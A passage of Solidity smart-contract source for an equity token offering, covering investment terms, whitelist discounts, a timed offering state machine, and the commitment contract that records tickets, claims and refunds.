return (0x591e791aab2b14c80194b729a2abcba3e8cce1918be4061be170e7223357ae5c, 0);
}
}
contract ETOTerms is
IdentityRecord,
Math,
IContractId
{
struct WhitelistTicket {
uint128 discountAmountEurUlps;
uint128 fullTokenPriceFrac;
}
bytes32 private constant EMPTY_STRING_HASH = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
uint256 public constant MIN_QUALIFIED_INVESTOR_TICKET_EUR_ULPS = 100000 * 10**18;
ETODurationTerms public DURATION_TERMS;
ETOTokenTerms public TOKEN_TERMS;
uint256 public EXISTING_COMPANY_SHARES;
uint256 public SHARE_NOMINAL_VALUE_EUR_ULPS;
uint256 public MIN_TICKET_EUR_ULPS;
uint256 public MAX_TICKET_EUR_ULPS;
uint256 public MAX_TICKET_SIMPLE_EUR_ULPS;
bool public ENABLE_TRANSFERS_ON_SUCCESS;
bool public ALLOW_RETAIL_INVESTORS;
uint256 public WHITELIST_DISCOUNT_FRAC;
uint256 public PUBLIC_DISCOUNT_FRAC;
string public INVESTOR_OFFERING_DOCUMENT_URL;
ShareholderRights public SHAREHOLDER_RIGHTS;
string public EQUITY_TOKEN_NAME;
string public EQUITY_TOKEN_SYMBOL;
address public WHITELIST_MANAGER;
IIdentityRegistry public IDENTITY_REGISTRY;
Universe public UNIVERSE;
uint256 private MIN_NUMBER_OF_TOKENS;
uint256 private MAX_NUMBER_OF_TOKENS;
uint256 private TOKEN_PRICE_EUR_ULPS;
mapping (address => WhitelistTicket) private _whitelist;
modifier onlyWhitelistManager() {
require(msg.sender == WHITELIST_MANAGER);
_;
}
event LogInvestorWhitelisted(
address indexed investor,
uint256 discountAmountEurUlps,
uint256 fullTokenPriceFrac
);
constructor(
Universe universe,
ETODurationTerms durationTerms,
ETOTokenTerms tokenTerms,
uint256 existingCompanyShares,
uint256 minTicketEurUlps,
uint256 maxTicketEurUlps,
bool allowRetailInvestors,
bool enableTransfersOnSuccess,
string investorOfferingDocumentUrl,
ShareholderRights shareholderRights,
string equityTokenName,
string equityTokenSymbol,
uint256 shareNominalValueEurUlps,
uint256 whitelistDiscountFrac,
uint256 publicDiscountFrac
)
public
{
require(durationTerms != address(0));
require(tokenTerms != address(0));
require(existingCompanyShares > 0);
require(keccak256(abi.encodePacked(investorOfferingDocumentUrl)) != EMPTY_STRING_HASH);
require(keccak256(abi.encodePacked(equityTokenName)) != EMPTY_STRING_HASH);
require(keccak256(abi.encodePacked(equityTokenSymbol)) != EMPTY_STRING_HASH);
require(shareholderRights != address(0));
require(shareNominalValueEurUlps > 0);
require(whitelistDiscountFrac >= 0 && whitelistDiscountFrac <= 99*10**16);
require(publicDiscountFrac >= 0 && publicDiscountFrac <= 99*10**16);
require(minTicketEurUlps<=maxTicketEurUlps);
MIN_NUMBER_OF_TOKENS = tokenTerms.MIN_NUMBER_OF_TOKENS();
MAX_NUMBER_OF_TOKENS = tokenTerms.MAX_NUMBER_OF_TOKENS();
TOKEN_PRICE_EUR_ULPS = tokenTerms.TOKEN_PRICE_EUR_ULPS();
DURATION_TERMS = durationTerms;
TOKEN_TERMS = tokenTerms;
EXISTING_COMPANY_SHARES = existingCompanyShares;
MIN_TICKET_EUR_ULPS = minTicketEurUlps;
MAX_TICKET_EUR_ULPS = maxTicketEurUlps;
ALLOW_RETAIL_INVESTORS = allowRetailInvestors;
ENABLE_TRANSFERS_ON_SUCCESS = enableTransfersOnSuccess;
INVESTOR_OFFERING_DOCUMENT_URL = investorOfferingDocumentUrl;
SHAREHOLDER_RIGHTS = shareholderRights;
EQUITY_TOKEN_NAME = equityTokenName;
EQUITY_TOKEN_SYMBOL = equityTokenSymbol;
SHARE_NOMINAL_VALUE_EUR_ULPS = shareNominalValueEurUlps;
WHITELIST_DISCOUNT_FRAC = whitelistDiscountFrac;
PUBLIC_DISCOUNT_FRAC = publicDiscountFrac;
WHITELIST_MANAGER = msg.sender;
IDENTITY_REGISTRY = IIdentityRegistry(universe.identityRegistry());
UNIVERSE = universe;
}
function calculateTokenAmount(uint256 , uint256 committedEurUlps)
public
constant
returns (uint256 tokenAmountInt)
{
return committedEurUlps / calculatePriceFraction(10**18 - PUBLIC_DISCOUNT_FRAC);
}
function calculateEurUlpsAmount(uint256 , uint256 tokenAmountInt)
public
constant
returns (uint256 committedEurUlps)
{
return mul(tokenAmountInt, calculatePriceFraction(10**18 - PUBLIC_DISCOUNT_FRAC));
}
function ESTIMATED_MIN_CAP_EUR_ULPS() public constant returns(uint256) {
return calculateEurUlpsAmount(0, MIN_NUMBER_OF_TOKENS);
}
function ESTIMATED_MAX_CAP_EUR_ULPS() public constant returns(uint256) {
return calculateEurUlpsAmount(0, MAX_NUMBER_OF_TOKENS);
}
function calculatePriceFraction(uint256 priceFrac) public constant returns(uint256) {
if (priceFrac == 1) {
return TOKEN_PRICE_EUR_ULPS;
} else {
return decimalFraction(priceFrac, TOKEN_PRICE_EUR_ULPS);
}
}
function addWhitelisted(
address[] investors,
uint256[] discountAmountsEurUlps,
uint256[] discountsFrac
)
external
onlyWhitelistManager
{
require(investors.length == discountAmountsEurUlps.length);
require(investors.length == discountsFrac.length);
for (uint256 i = 0; i < investors.length; i += 1) {
addWhitelistInvestorPrivate(investors[i], discountAmountsEurUlps[i], discountsFrac[i]);
}
}
function whitelistTicket(address investor)
public
constant
returns (bool isWhitelisted, uint256 discountAmountEurUlps, uint256 fullTokenPriceFrac)
{
WhitelistTicket storage wlTicket = _whitelist[investor];
isWhitelisted = wlTicket.fullTokenPriceFrac > 0;
discountAmountEurUlps = wlTicket.discountAmountEurUlps;
fullTokenPriceFrac = wlTicket.fullTokenPriceFrac;
}
function calculateContribution(
address investor,
uint256 totalContributedEurUlps,
uint256 existingInvestorContributionEurUlps,
uint256 newInvestorContributionEurUlps,
bool applyWhitelistDiscounts
)
public
constant
returns (
bool isWhitelisted,
bool isEligible,
uint256 minTicketEurUlps,
uint256 maxTicketEurUlps,
uint256 equityTokenInt,
uint256 fixedSlotEquityTokenInt
)
{
(
isWhitelisted,
minTicketEurUlps,
maxTicketEurUlps,
equityTokenInt,
fixedSlotEquityTokenInt
) = calculateContributionPrivate(
investor,
totalContributedEurUlps,
existingInvestorContributionEurUlps,
newInvestorContributionEurUlps,
applyWhitelistDiscounts);
IdentityClaims memory claims = deserializeClaims(IDENTITY_REGISTRY.getClaims(investor));
isEligible = claims.isVerified && !claims.accountFrozen;
}
function equityTokensToShares(uint256 amount)
public
constant
returns (uint256)
{
return divRound(amount, TOKEN_TERMS.EQUITY_TOKENS_PER_SHARE());
}
function requireValidTerms(PlatformTerms platformTerms)
public
constant
returns (bool)
{
if (ALLOW_RETAIL_INVESTORS) {
require(!ENABLE_TRANSFERS_ON_SUCCESS, "NF_MUST_DISABLE_TRANSFERS");
} else {
require(MIN_TICKET_EUR_ULPS >= MIN_QUALIFIED_INVESTOR_TICKET_EUR_ULPS, "NF_MIN_QUALIFIED_INVESTOR_TICKET");
}
require(MIN_TICKET_EUR_ULPS >= TOKEN_TERMS.TOKEN_PRICE_EUR_ULPS(), "NF_MIN_TICKET_LT_TOKEN_PRICE");
require(ESTIMATED_MAX_CAP_EUR_ULPS() >= MIN_TICKET_EUR_ULPS, "NF_MAX_FUNDS_LT_MIN_TICKET");
require(MIN_TICKET_EUR_ULPS >= platformTerms.MIN_TICKET_EUR_ULPS(), "NF_ETO_TERMS_MIN_TICKET_EUR_ULPS");
require(DURATION_TERMS.WHITELIST_DURATION() >= platformTerms.MIN_WHITELIST_DURATION(), "NF_ETO_TERMS_WL_D_MIN");
require(DURATION_TERMS.WHITELIST_DURATION() <= platformTerms.MAX_WHITELIST_DURATION(), "NF_ETO_TERMS_WL_D_MAX");
require(DURATION_TERMS.PUBLIC_DURATION() >= platformTerms.MIN_PUBLIC_DURATION(), "NF_ETO_TERMS_PUB_D_MIN");
require(DURATION_TERMS.PUBLIC_DURATION() <= platformTerms.MAX_PUBLIC_DURATION(), "NF_ETO_TERMS_PUB_D_MAX");
uint256 totalDuration = DURATION_TERMS.WHITELIST_DURATION() + DURATION_TERMS.PUBLIC_DURATION();
require(totalDuration >= platformTerms.MIN_OFFER_DURATION(), "NF_ETO_TERMS_TOT_O_MIN");
require(totalDuration <= platformTerms.MAX_OFFER_DURATION(), "NF_ETO_TERMS_TOT_O_MAX");
require(DURATION_TERMS.SIGNING_DURATION() >= platformTerms.MIN_SIGNING_DURATION(), "NF_ETO_TERMS_SIG_MIN");
require(DURATION_TERMS.SIGNING_DURATION() <= platformTerms.MAX_SIGNING_DURATION(), "NF_ETO_TERMS_SIG_MAX");
require(DURATION_TERMS.CLAIM_DURATION() >= platformTerms.MIN_CLAIM_DURATION(), "NF_ETO_TERMS_CLAIM_MIN");
require(DURATION_TERMS.CLAIM_DURATION() <= platformTerms.MAX_CLAIM_DURATION(), "NF_ETO_TERMS_CLAIM_MAX");
return true;
}
function contractId() public pure returns (bytes32 id, uint256 version) {
return (0x3468b14073c33fa00ee7f8a289b14f4a10c78ab72726033b27003c31c47b3f6a, 0);
}
function calculateContributionPrivate(
address investor,
uint256 totalContributedEurUlps,
uint256 existingInvestorContributionEurUlps,
uint256 newInvestorContributionEurUlps,
bool applyWhitelistDiscounts
)
private
constant
returns (
bool isWhitelisted,
uint256 minTicketEurUlps,
uint256 maxTicketEurUlps,
uint256 equityTokenInt,
uint256 fixedSlotEquityTokenInt
)
{
uint256 discountedAmount;
minTicketEurUlps = MIN_TICKET_EUR_ULPS;
maxTicketEurUlps = MAX_TICKET_EUR_ULPS;
WhitelistTicket storage wlTicket = _whitelist[investor];
isWhitelisted = wlTicket.fullTokenPriceFrac > 0;
if (applyWhitelistDiscounts) {
maxTicketEurUlps = max(wlTicket.discountAmountEurUlps, maxTicketEurUlps);
if (wlTicket.discountAmountEurUlps > 0) {
minTicketEurUlps = min(wlTicket.discountAmountEurUlps, minTicketEurUlps);
}
if (existingInvestorContributionEurUlps < wlTicket.discountAmountEurUlps) {
discountedAmount = min(newInvestorContributionEurUlps, wlTicket.discountAmountEurUlps - existingInvestorContributionEurUlps);
if (discountedAmount > 0) {
fixedSlotEquityTokenInt = discountedAmount / calculatePriceFraction(wlTicket.fullTokenPriceFrac);
}
}
}
uint256 remainingAmount = newInvestorContributionEurUlps - discountedAmount;
if (remainingAmount > 0) {
if (applyWhitelistDiscounts && WHITELIST_DISCOUNT_FRAC > 0) {
equityTokenInt = remainingAmount / calculatePriceFraction(10**18 - WHITELIST_DISCOUNT_FRAC);
} else {
equityTokenInt = calculateTokenAmount(totalContributedEurUlps + discountedAmount, remainingAmount);
}
}
equityTokenInt += fixedSlotEquityTokenInt;
}
function addWhitelistInvestorPrivate(
address investor,
uint256 discountAmountEurUlps,
uint256 fullTokenPriceFrac
)
private
{
require(investor != address(0));
require(fullTokenPriceFrac > 0 && fullTokenPriceFrac <= 10**18, "NF_DISCOUNT_RANGE");
require(discountAmountEurUlps < 2**128);
_whitelist[investor] = WhitelistTicket({
discountAmountEurUlps: uint128(discountAmountEurUlps),
fullTokenPriceFrac: uint128(fullTokenPriceFrac)
});
emit LogInvestorWhitelisted(investor, discountAmountEurUlps, fullTokenPriceFrac);
}
}
contract ICommitment is
IAgreement,
IERC223Callback
{
event LogFundsCommitted(
address indexed investor,
address wallet,
address paymentToken,
uint256 amount,
uint256 baseCurrencyEquivalent,
uint256 grantedAmount,
address assetToken,
uint256 neuReward
);
function finalized() public constant returns (bool);
function success() public constant returns (bool);
function failed() public constant returns (bool);
function totalInvestment()
public
constant
returns (
uint256 totalEquivEurUlps,
uint256 totalTokensInt,
uint256 totalInvestors
);
function tokenFallback(address investor, uint256 amount, bytes data)
public;
}
contract IETOCommitment is
ICommitment,
IETOCommitmentStates
{
event LogStateTransition(
uint32 oldState,
uint32 newState,
uint32 timestamp
);
event LogTokensClaimed(
address indexed investor,
address indexed assetToken,
uint256 amount,
uint256 nmkReward
);
event LogFundsRefunded(
address indexed investor,
address indexed paymentToken,
uint256 amount
);
event LogTermsSet(
address companyLegalRep,
address etoTerms,
address equityToken
);
event LogETOStartDateSet(
address companyLegalRep,
uint256 previousTimestamp,
uint256 newTimestamp
);
event LogSigningStarted(
address nominee,
address companyLegalRep,
uint256 newShares,
uint256 capitalIncreaseEurUlps
);
event LogCompanySignedAgreement(
address companyLegalRep,
address nominee,
string signedInvestmentAgreementUrl
);
event LogNomineeConfirmedAgreement(
address nominee,
address companyLegalRep,
string signedInvestmentAgreementUrl
);
event LogRefundStarted(
address assetToken,
uint256 totalTokenAmountInt,
uint256 totalRewardNmkUlps
);
function state() public constant returns (ETOState);
function startOf(ETOState s) public constant returns (uint256);
function commitmentObserver() public constant returns (IETOCommitmentObserver);
function refund() external;
function refundMany(address[] investors) external;
function claim() external;
function claimMany(address[] investors) external;
function payout() external;
function etoTerms() public constant returns (ETOTerms);
function equityToken() public constant returns (IEquityToken);
function nominee() public constant returns (address);
function companyLegalRep() public constant returns (address);
function signedInvestmentAgreementUrl() public constant returns (string);
function contributionSummary()
public
constant
returns (
uint256 newShares, uint256 capitalIncreaseEurUlps,
uint256 additionalContributionEth, uint256 additionalContributionEurUlps,
uint256 tokenParticipationFeeInt, uint256 platformFeeEth, uint256 platformFeeEurUlps,
uint256 sharePriceEurUlps
);
function investorTicket(address investor)
public
constant
returns (
uint256 equivEurUlps,
uint256 rewardNmkUlps,
uint256 equityTokenInt,
uint256 sharesInt,
uint256 tokenPrice,
uint256 neuRate,
uint256 amountEth,
uint256 amountEurUlps,
bool claimOrRefundSettled,
bool usedLockedAccount
);
}
contract METOStateMachineObserver is IETOCommitmentStates {
function mBeforeStateTransition(ETOState oldState, ETOState newState)
internal
constant
returns (ETOState newStateOverride);
function mAfterTransition(ETOState oldState, ETOState newState)
internal;
function mAdavanceLogicState(ETOState oldState)
internal
constant
returns (ETOState);
}
contract ETOTimedStateMachine is
IETOCommitment,
METOStateMachineObserver
{
uint32[] private ETO_STATE_DURATIONS;
IETOCommitmentObserver private COMMITMENT_OBSERVER;
ETOState private _state = ETOState.Setup;
uint32[7] internal _pastStateTransitionTimes;
modifier withStateTransition() {
advanceTimedState();
_;
advanceLogicState();
}
modifier onlyState(ETOState state) {
require(_state == state);
_;
}
modifier onlyStates(ETOState state0, ETOState state1) {
require(_state == state0 || _state == state1);
_;
}
function handleStateTransitions()
public
{
advanceTimedState();
}
function finalized()
public
constant
returns (bool)
{
return (_state == ETOState.Refund || _state == ETOState.Payout || _state == ETOState.Claim);
}
function success()
public
constant
returns (bool)
{
return (_state == ETOState.Claim || _state == ETOState.Payout);
}
function failed()
public
constant
returns (bool)
{
return _state == ETOState.Refund;
}
function state()
public
constant
returns (ETOState)
{
return _state;
}
function startOf(ETOState s)
public
constant
returns (uint256)
{
return startOfInternal(s);
}
function timedState()
external
constant
returns (ETOState)
{
advanceTimedState();
return _state;
}
function startOfStates()
public
constant
returns (uint256[7] startOfs)
{
for(uint256 ii = 0;ii<ETO_STATES_COUNT;ii += 1) {
startOfs[ii] = startOfInternal(ETOState(ii));
}
}
function commitmentObserver() public constant returns (IETOCommitmentObserver) {
return COMMITMENT_OBSERVER;
}
function setupStateMachine(ETODurationTerms durationTerms, IETOCommitmentObserver observer)
internal
{
require(COMMITMENT_OBSERVER == address(0), "NF_STM_SET_ONCE");
require(observer != address(0));
COMMITMENT_OBSERVER = observer;
ETO_STATE_DURATIONS = [
0, durationTerms.WHITELIST_DURATION(), durationTerms.PUBLIC_DURATION(), durationTerms.SIGNING_DURATION(),
durationTerms.CLAIM_DURATION(), 0, 0
];
}
function runStateMachine(uint32 startDate)
internal
{
_pastStateTransitionTimes[uint32(ETOState.Setup)] = startDate;
}
function startOfInternal(ETOState s)
internal
constant
returns (uint256)
{
if (s == ETOState.Setup) {
return 0;
}
if (s == ETOState.Refund) {
return _state == s ? _pastStateTransitionTimes[uint32(_state)] : 0;
}
if (uint32(s) - 1 <= uint32(_state)) {
return _pastStateTransitionTimes[uint32(s) - 1];
}
uint256 currStateExpiration = _pastStateTransitionTimes[uint32(_state)];
for (uint256 stateIdx = uint32(_state) + 1; stateIdx < uint32(s); stateIdx++) {
currStateExpiration += ETO_STATE_DURATIONS[stateIdx];
}
return currStateExpiration;
}
function advanceTimedState()
private
{
if (_pastStateTransitionTimes[uint32(ETOState.Setup)] == 0) {
return;
}
uint256 t = block.timestamp;
if (_state == ETOState.Setup && t >= startOfInternal(ETOState.Whitelist)) {
transitionTo(ETOState.Whitelist);
}
if (_state == ETOState.Whitelist && t >= startOfInternal(ETOState.Public)) {
transitionTo(ETOState.Public);
}
if (_state == ETOState.Public && t >= startOfInternal(ETOState.Signing)) {
transitionTo(ETOState.Signing);
}
if (_state == ETOState.Signing && t >= startOfInternal(ETOState.Claim)) {
transitionTo(ETOState.Refund);
}
if (_state == ETOState.Claim && t >= startOfInternal(ETOState.Payout)) {
transitionTo(ETOState.Payout);
}
}
function advanceLogicState()
private
{
ETOState newState = mAdavanceLogicState(_state);
if (_state != newState) {
transitionTo(newState);
advanceLogicState();
}
}
function transitionTo(ETOState newState)
private
{
ETOState oldState = _state;
ETOState effectiveNewState = mBeforeStateTransition(oldState, newState);
_state = effectiveNewState;
uint32 deadline = _pastStateTransitionTimes[uint256(oldState)];
if (uint32(block.timestamp) < deadline) {
deadline = uint32(block.timestamp);
}
_pastStateTransitionTimes[uint256(oldState)] = deadline;
_pastStateTransitionTimes[uint256(effectiveNewState)] = deadline + ETO_STATE_DURATIONS[uint256(effectiveNewState)];
mAfterTransition(oldState, effectiveNewState);
assert(_state == effectiveNewState);
COMMITMENT_OBSERVER.onStateTransition(oldState, effectiveNewState);
emit LogStateTransition(uint32(oldState), uint32(effectiveNewState), deadline);
}
}
contract ETOCommitment is
AccessControlled,
Agreement,
ETOTimedStateMachine,
Math,
Serialization,
IContractId
{
struct InvestmentTicket {
uint96 equivEurUlps;
uint96 rewardNmkUlps;
uint96 equityTokenInt;
uint96 amountEth;
uint96 amountEurUlps;
bool claimOrRefundSettled;
bool usedLockedAccount;
}
Universe private UNIVERSE;
Neumark private NEUMARK;
IERC223Token private ETHER_TOKEN;
IERC223Token private EURO_TOKEN;
LockedAccount private ETHER_LOCK;
LockedAccount private EURO_LOCK;
IEquityToken private EQUITY_TOKEN;
ITokenExchangeRateOracle private CURRENCY_RATES;
uint256 private MIN_NUMBER_OF_TOKENS;
uint256 private MAX_NUMBER_OF_TOKENS;
uint256 private MAX_NUMBER_OF_TOKENS_IN_WHITELIST;
uint256 private MIN_TICKET_TOKENS;
uint128 private PLATFORM_NEUMARK_SHARE;
uint128 private TOKEN_RATE_EXPIRES_AFTER;
address private PLATFORM_WALLET;
address private COMPANY_LEGAL_REPRESENTATIVE;
address private NOMINEE;
ETOTerms private ETO_TERMS;
PlatformTerms private PLATFORM_TERMS;
mapping (address => InvestmentTicket) private _tickets;
uint112 private _totalEquivEurUlps;
uint56 private _totalTokensInt;
uint56 private _totalFixedSlotsTokensInt;
uint32 private _totalInvestors;
bytes32 private _nomineeSignedInvestmentAgreementUrlHash;
uint96 private _newShares;
uint96 private _tokenParticipationFeeInt;
uint96 private _platformFeeEth;
uint96 private _platformFeeEurUlps;
uint96 private _additionalContributionEth;
uint96 private _additionalContributionEurUlps;
string private _signedInvestmentAgreementUrl;
modifier onlyCompany() {
require(msg.sender == COMPANY_LEGAL_REPRESENTATIVE);
_;
}
modifier onlyNominee() {
require(msg.sender == NOMINEE);
_;
}
modifier onlyWithAgreement {
require(amendmentsCount() > 0);
_;
}
event LogAdditionalContribution(
address companyLegalRep,
address paymentToken,
uint256 amount
);
event LogPlatformNeuReward(
address platformWallet,
uint256 totalRewardNmkUlps,
uint256 platformRewardNmkUlps
);
event LogPlatformFeePayout(
address paymentToken,
address disbursalPool,
uint256 amount
);
event LogPlatformPortfolioPayout(
address assetToken,
address platformPortfolio,
uint256 amount
);
constructor(
Universe universe,
address platformWallet,
address nominee,
address companyLegalRep,
ETOTerms etoTerms,
IEquityToken equityToken
)
Agreement(universe.accessPolicy(), universe.forkArbiter())
ETOTimedStateMachine()
public
{
UNIVERSE = universe;
PLATFORM_TERMS = PlatformTerms(universe.platformTerms());
require(equityToken.decimals() == etoTerms.TOKEN_TERMS().EQUITY_TOKENS_PRECISION());
require(platformWallet != address(0) && nominee != address(0) && companyLegalRep != address(0));
require(etoTerms.requireValidTerms(PLATFORM_TERMS));
PLATFORM_WALLET = platformWallet;
COMPANY_LEGAL_REPRESENTATIVE = companyLegalRep;
NOMINEE = nominee;
PLATFORM_NEUMARK_SHARE = uint128(PLATFORM_TERMS.PLATFORM_NEUMARK_SHARE());
TOKEN_RATE_EXPIRES_AFTER = uint128(PLATFORM_TERMS.TOKEN_RATE_EXPIRES_AFTER());
NEUMARK = universe.neumark();
ETHER_TOKEN = universe.etherToken();
EURO_TOKEN = universe.euroToken();
ETHER_LOCK = LockedAccount(universe.etherLock());
EURO_LOCK = LockedAccount(universe.euroLock());
CURRENCY_RATES = ITokenExchangeRateOracle(universe.tokenExchangeRateOracle());
ETO_TERMS = etoTerms;
EQUITY_TOKEN = equityToken;
MAX_NUMBER_OF_TOKENS = etoTerms.TOKEN_TERMS().MAX_NUMBER_OF_TOKENS();
MAX_NUMBER_OF_TOKENS_IN_WHITELIST = etoTerms.TOKEN_TERMS().MAX_NUMBER_OF_TOKENS_IN_WHITELIST();
MIN_NUMBER_OF_TOKENS = etoTerms.TOKEN_TERMS().MIN_NUMBER_OF_TOKENS();
MIN_TICKET_TOKENS = etoTerms.calculateTokenAmount(0, etoTerms.MIN_TICKET_EUR_ULPS());
setupStateMachine(
ETO_TERMS.DURATION_TERMS(),
IETOCommitmentObserver(EQUITY_TOKEN.tokenController())
);
}
function setStartDate(
ETOTerms etoTerms,
IEquityToken equityToken,
uint256 startDate
)
external
onlyCompany
onlyWithAgreement
withStateTransition()
onlyState(ETOState.Setup)
{
require(etoTerms == ETO_TERMS);
require(equityToken == EQUITY_TOKEN);
assert(startDate < 0xFFFFFFFF);
require(
startDate > block.timestamp && startDate - block.timestamp > PLATFORM_TERMS.DATE_TO_WHITELIST_MIN_DURATION(),
"NF_ETO_DATE_TOO_EARLY");
uint256 startAt = startOfInternal(ETOState.Whitelist);
require(
startAt == 0 || (startAt - block.timestamp > PLATFORM_TERMS.DATE_TO_WHITELIST_MIN_DURATION()),
"NF_ETO_START_TOO_SOON");
runStateMachine(uint32(startDate));
emit LogTermsSet(msg.sender, address(etoTerms), address(equityToken));
emit LogETOStartDateSet(msg.sender, startAt, startDate);
}
function companySignsInvestmentAgreement(string signedInvestmentAgreementUrl)
public
withStateTransition()
onlyState(ETOState.Signing)
onlyCompany
{
_signedInvestmentAgreementUrl = signedInvestmentAgreementUrl;
emit LogCompanySignedAgreement(msg.sender, NOMINEE, signedInvestmentAgreementUrl);
}
function nomineeConfirmsInvestmentAgreement(string signedInvestmentAgreementUrl)
public
withStateTransition()
onlyState(ETOState.Signing)
onlyNominee
{
bytes32 nomineeHash = keccak256(abi.encodePacked(signedInvestmentAgreementUrl));
require(keccak256(abi.encodePacked(_signedInvestmentAgreementUrl)) == nomineeHash, "NF_INV_HASH");
_nomineeSignedInvestmentAgreementUrlHash = nomineeHash;
emit LogNomineeConfirmedAgreement(msg.sender, COMPANY_LEGAL_REPRESENTATIVE, signedInvestmentAgreementUrl);
}
function tokenFallback(address wallet, uint256 amount, bytes data)
public
withStateTransition()
onlyStates(ETOState.Whitelist, ETOState.Public)
{
uint256 equivEurUlps = amount;
bool isEuroInvestment = msg.sender == address(EURO_TOKEN);
bool isEtherInvestment = msg.sender == address(ETHER_TOKEN);
require(isEtherInvestment || isEuroInvestment, "NF_ETO_UNK_TOKEN");
bool isLockedAccount = (wallet == address(ETHER_LOCK) || wallet == address(EURO_LOCK));
address investor = wallet;
if (isLockedAccount) {
investor = decodeAddress(data);
}
if (isEtherInvestment) {
(uint256 rate, uint256 rateTimestamp) = CURRENCY_RATES.getExchangeRate(ETHER_TOKEN, EURO_TOKEN);
require(block.timestamp - rateTimestamp < TOKEN_RATE_EXPIRES_AFTER, "NF_ETO_INVALID_ETH_RATE");
equivEurUlps = decimalFraction(amount, rate);
}
acceptAgreementInternal(investor);
processTicket(investor, wallet, amount, equivEurUlps, isEuroInvestment);
}
function claim()
external
withStateTransition()
onlyStates(ETOState.Claim, ETOState.Payout)
{
claimTokensPrivate(msg.sender);
}
function claimMany(address[] investors)
external
withStateTransition()
onlyStates(ETOState.Claim, ETOState.Payout)
{
for(uint256 ii = 0; ii < investors.length; ii++) {
claimTokensPrivate(investors[ii]);
}
}
function refund()
external
withStateTransition()
onlyState(ETOState.Refund)
{
refundTokensPrivate(msg.sender);
}
function refundMany(address[] investors)
external
withStateTransition()
onlyState(ETOState.Refund)
{
for(uint256 ii = 0; ii < investors.length; ii++) {
refundTokensPrivate(investors[ii]);
}
}
function payout()
external
withStateTransition()
onlyState(ETOState.Payout)
{
}
function signedInvestmentAgreementUrl()
public
constant
returns (string)
{
return _signedInvestmentAgreementUrl;
}
function contributionSummary()
public
constant
returns (
uint256 newShares, uint256 capitalIncreaseEurUlps,
uint256 additionalContributionEth, uint256 additionalContributionEurUlps,
uint256 tokenParticipationFeeInt, uint256 platformFeeEth, uint256 platformFeeEurUlps,
uint256 sharePriceEurUlps
)
{
return (
_newShares, _newShares * EQUITY_TOKEN.shareNominalValueEurUlps(),
_additionalContributionEth, _additionalContributionEurUlps,
_tokenParticipationFeeInt, _platformFeeEth, _platformFeeEurUlps,
_newShares == 0 ? 0 : divRound(_totalEquivEurUlps, _newShares)
);
}
function etoTerms() public constant returns (ETOTerms) {
return ETO_TERMS;
}
function equityToken() public constant returns (IEquityToken) {
return EQUITY_TOKEN;
}
function nominee() public constant returns (address) {
return NOMINEE;
}
function companyLegalRep() public constant returns (address) {
return COMPANY_LEGAL_REPRESENTATIVE;
}
function singletons()
public
constant
returns (
address platformWallet,
address universe,
address platformTerms
)
{
platformWallet = PLATFORM_WALLET;
universe = UNIVERSE;
platformTerms = PLATFORM_TERMS;
}
function totalInvestment()
public
constant
returns (
uint256 totalEquivEurUlps,
uint256 totalTokensInt,
uint256 totalInvestors
)
{
return (_totalEquivEurUlps, _totalTokensInt, _totalInvestors);
}
function calculateContribution(address investor, bool fromIcbmWallet, uint256 newInvestorContributionEurUlps)
external
constant
withStateTransition()
returns (
bool isWhitelisted,
bool isEligible,
uint256 minTicketEurUlps,
uint256 maxTicketEurUlps,
uint256 equityTokenInt,
uint256 neuRewardUlps,
bool maxCapExceeded
)
{
InvestmentTicket storage ticket = _tickets[investor];
bool applyDiscounts = state() == ETOState.Whitelist;
uint256 fixedSlotsEquityTokenInt;
(
isWhitelisted,
isEligible,
minTicketEurUlps,
maxTicketEurUlps,
equityTokenInt,
fixedSlotsEquityTokenInt
) = ETO_TERMS.calculateContribution(
investor,
_totalEquivEurUlps,
ticket.equivEurUlps,
newInvestorContributionEurUlps,
applyDiscounts
);
isWhitelisted = isWhitelisted || fromIcbmWallet;
if (!fromIcbmWallet) {
(,neuRewardUlps) = calculateNeumarkDistribution(NEUMARK.incremental(newInvestorContributionEurUlps));
}
maxCapExceeded = isCapExceeded(applyDiscounts, equityTokenInt, fixedSlotsEquityTokenInt);
}
function investorTicket(address investor)
public
constant
returns (
uint256 equivEurUlps,
uint256 rewardNmkUlps,
uint256 equityTokenInt,
uint256 sharesInt,
uint256 tokenPrice,
uint256 neuRate,
uint256 amountEth,
uint256 amountEurUlps,
bool claimedOrRefunded,
bool usedLockedAccount
)
{
InvestmentTicket storage ticket = _tickets[investor];
equivEurUlps = ticket.equivEurUlps;
rewardNmkUlps = ticket.rewardNmkUlps;
equityTokenInt = ticket.equityTokenInt;
sharesInt = ETO_TERMS.equityTokensToShares(ticket.equityTokenInt);
tokenPrice = equityTokenInt > 0 ? equivEurUlps / equityTokenInt : 0;
neuRate = rewardNmkUlps > 0 ? proportion(equivEurUlps, 10**18, rewardNmkUlps) : 0;
amountEth = ticket.amountEth;
amountEurUlps = ticket.amountEurUlps;
claimedOrRefunded = ticket.claimOrRefundSettled;
usedLockedAccount = ticket.usedLockedAccount;
}
function contractId() public pure returns (bytes32 id, uint256 version) {
return (0x70ef68fc8c585f9edc7af1bfac26c4b1b9e98ba05cf5ddd99e4b3dc46ea70073, 0);
}
function mAdavanceLogicState(ETOState oldState)
internal
constant
returns (ETOState)
{
bool capExceeded = isCapExceeded(false, MIN_TICKET_TOKENS + 1, 0);
if (capExceeded) {
if (oldState == ETOState.Whitelist) {
return ETOState.Public;
}
if (oldState == ETOState.Public) {
return ETOState.Signing;
}
}
if (oldState == ETOState.Signing && _nomineeSignedInvestmentAgreementUrlHash != bytes32(0)) {
return ETOState.Claim;
}
return oldState;
}
function mBeforeStateTransition(ETOState , ETOState newState)
internal
constant
returns (ETOState)
{
if (newState == ETOState.Signing && _totalTokensInt < MIN_NUMBER_OF_TOKENS) {
return ETOState.Refund;
}
return newState;
}
function mAfterTransition(ETOState , ETOState newState)
internal
{
if (newState == ETOState.Signing) {
onSigningTransition();
}
if (newState == ETOState.Claim) {
onClaimTransition();
}
if (newState == ETOState.Refund) {
onRefundTransition();
}
if (newState == ETOState.Payout) {
onPayoutTransition();
}
}
function mCanAmend(address legalRepresentative)
internal
returns (bool)
{
return legalRepresentative == NOMINEE && startOfInternal(ETOState.Whitelist) == 0;
}
function calculateNeumarkDistribution(uint256 rewardNmk)
private
constant
returns (uint256 platformNmk, uint256 investorNmk)
{
platformNmk = rewardNmk / PLATFORM_NEUMARK_SHARE;
return (platformNmk, rewardNmk - platformNmk);
}
function onSigningTransition()
private
{
uint256 etherBalance = ETHER_TOKEN.balanceOf(this);
uint256 euroBalance = EURO_TOKEN.balanceOf(this);
